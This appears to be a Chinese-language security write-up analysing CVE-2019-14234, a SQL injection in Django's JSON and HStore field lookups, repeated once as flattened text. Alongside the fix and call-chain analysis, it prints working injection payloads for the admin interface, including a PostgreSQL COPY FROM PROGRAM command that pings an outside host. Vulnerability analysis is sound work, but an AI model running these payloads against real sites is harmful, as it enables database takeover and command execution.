CVE-2019-14234 Django JSON SQL注入 分析
字数 1618 2025-08-27 12:33:43

Django JSON SQL注入漏洞(CVE-2019-14234)深度分析与教学

0x00 漏洞概述

CVE-2019-14234是Django框架中的一个SQL注入漏洞,影响JSONFieldHStoreField字段的键和索引查找功能。攻击者可以通过精心构造的字典参数传递给QuerySet.filter()方法,实现SQL注入攻击。

0x01 漏洞修复分析

官方修复方式主要涉及两个文件:

  1. django/contrib/postgres/fields/hstore.py

    • 修改了KeyTransform类的as_sql函数
    • 将直接传递字符串改为使用数组传递self.key_name
    • 使用%%作为转换说明符,直接转化为单个%符号
  2. django/contrib/postgres/fields/jsonb.py

    • 统一将self.key_name变量的返回改为使用数组转换
    • 在单元测试中增加了对JSONField的SQL注入测试

0x02 漏洞原理

受影响组件

  • JSONField: 支持存储和查询JSON数据,支持整数、布尔值和嵌套字典等复杂类型
  • HStoreField: 类似JSONField但主要用于键值对存储,性能更好但功能较少

漏洞触发点

漏洞存在于通过**kwargs传递键值对绕过QuerySet.filter()方法的安全检查。攻击者可以构造恶意字典参数,利用字典展开功能实现SQL注入。

查询方式

正常查询方式:

Json.objects.filter(data__breed='test')
# 或
Json.objects.filter(**{"data__breed":'test'})

注入Payload

Json.objects.filter(**{"""data__breed'='"a"') OR 1=1 OR('d""":'x',})

生成的SQL语句:

SELECT * FROM app01_json WHERE (data->'breed' ? 'a') OR 1=1 OR (data->'a'?'x');

0x03 漏洞分析

关键类与方法

  1. KeyTransform类:

    • 负责处理JSON/HStore字段的键转换
    • as_sql方法生成SQL片段
  2. KeyTransformFactory类:

    • 调用KeyTransform并传入self.key_name
  3. RegisterLookupMixin类:

    • 提供查询API接口
    • 包含get_lookupget_transform方法

漏洞调用链

  1. 查询请求进入RegisterLookupMixin.get_transform()
  2. 通过_get_lookup获取查找方法
  3. 调用KeyTransformFactory生成KeyTransform实例
  4. KeyTransform.as_sql()生成SQL片段时未正确过滤self.key_name

调试分析

as_sql方法中,最终生成的SQL片段格式:

"(%s %s %s)" % (lhs, self.operator, lookup)

其中params为:

("app01_json"."data" -> 'breed') []

0x04 攻击场景

1. 后台管理界面注入

Django后台默认使用**kwargs方式传参,可通过URL参数注入:

http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d1 %2d%2d OR (%22app01_json%22.%22data%22 -> %27data

生成SQL:

SELECT "app01_json"."id", "app01_json"."name", "app01_json"."data" 
FROM "app01_json" 
WHERE ("app01_json"."data" -> 'breed'?'a') OR 1=1 -- OR ("app01_json"."data" -> 'data') = %s 
ORDER BY "app01_json"."id" DESC

2. PostgreSQL命令执行

  1. 创建表:
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCREATE table cmd_exec(cmd_output text) %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
  1. 执行命令:
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCOPY cmd_exec FROM PROGRAM %27ping christa.ccccc.ceye.io%27 %2d%2d OR (%22app01_json%22.%22data%22 -> %27data

0x05 防御措施

  1. 及时升级到修复版本
  2. 对用户输入进行严格过滤和验证
  3. 使用参数化查询
  4. 最小权限原则,限制数据库用户权限

0x06 参考链接

  1. Django安全公告:https://www.djangoproject.com/weblog/2019/aug/01/security-releases/
  2. 官方修复提交:https://github.com/django/django/commit/7deeabc7c7526786df6894429ce89a9c4b614086
  3. Django文档:https://docs.djangoproject.com/en/2.2/ref/contrib/postgres/fields/
  4. PostgreSQL命令执行:https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
Django JSON SQL注入漏洞(CVE-2019-14234)深度分析与教学 0x00 漏洞概述 CVE-2019-14234是Django框架中的一个SQL注入漏洞,影响 JSONField 和 HStoreField 字段的键和索引查找功能。攻击者可以通过精心构造的字典参数传递给 QuerySet.filter() 方法,实现SQL注入攻击。 0x01 漏洞修复分析 官方修复方式主要涉及两个文件: django/contrib/postgres/fields/hstore.py : 修改了 KeyTransform 类的 as_sql 函数 将直接传递字符串改为使用数组传递 self.key_name 使用 %% 作为转换说明符,直接转化为单个 % 符号 django/contrib/postgres/fields/jsonb.py : 统一将 self.key_name 变量的返回改为使用数组转换 在单元测试中增加了对 JSONField 的SQL注入测试 0x02 漏洞原理 受影响组件 JSONField : 支持存储和查询JSON数据,支持整数、布尔值和嵌套字典等复杂类型 HStoreField : 类似 JSONField 但主要用于键值对存储,性能更好但功能较少 漏洞触发点 漏洞存在于通过 **kwargs 传递键值对绕过 QuerySet.filter() 方法的安全检查。攻击者可以构造恶意字典参数,利用字典展开功能实现SQL注入。 查询方式 正常查询方式: 注入Payload 生成的SQL语句: 0x03 漏洞分析 关键类与方法 KeyTransform 类: 负责处理JSON/HStore字段的键转换 as_sql 方法生成SQL片段 KeyTransformFactory 类: 调用 KeyTransform 并传入 self.key_name RegisterLookupMixin 类: 提供查询API接口 包含 get_lookup 和 get_transform 方法 漏洞调用链 查询请求进入 RegisterLookupMixin.get_transform() 通过 _get_lookup 获取查找方法 调用 KeyTransformFactory 生成 KeyTransform 实例 KeyTransform.as_sql() 生成SQL片段时未正确过滤 self.key_name 调试分析 在 as_sql 方法中,最终生成的SQL片段格式: 其中 params 为: 0x04 攻击场景 1. 后台管理界面注入 Django后台默认使用 **kwargs 方式传参,可通过URL参数注入: 生成SQL: 2. PostgreSQL命令执行 创建表: 执行命令: 0x05 防御措施 及时升级到修复版本 对用户输入进行严格过滤和验证 使用参数化查询 最小权限原则,限制数据库用户权限 0x06 参考链接 Django安全公告:https://www.djangoproject.com/weblog/2019/aug/01/security-releases/ 官方修复提交:https://github.com/django/django/commit/7deeabc7c7526786df6894429ce89a9c4b614086 Django文档:https://docs.djangoproject.com/en/2.2/ref/contrib/postgres/fields/ PostgreSQL命令执行:https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5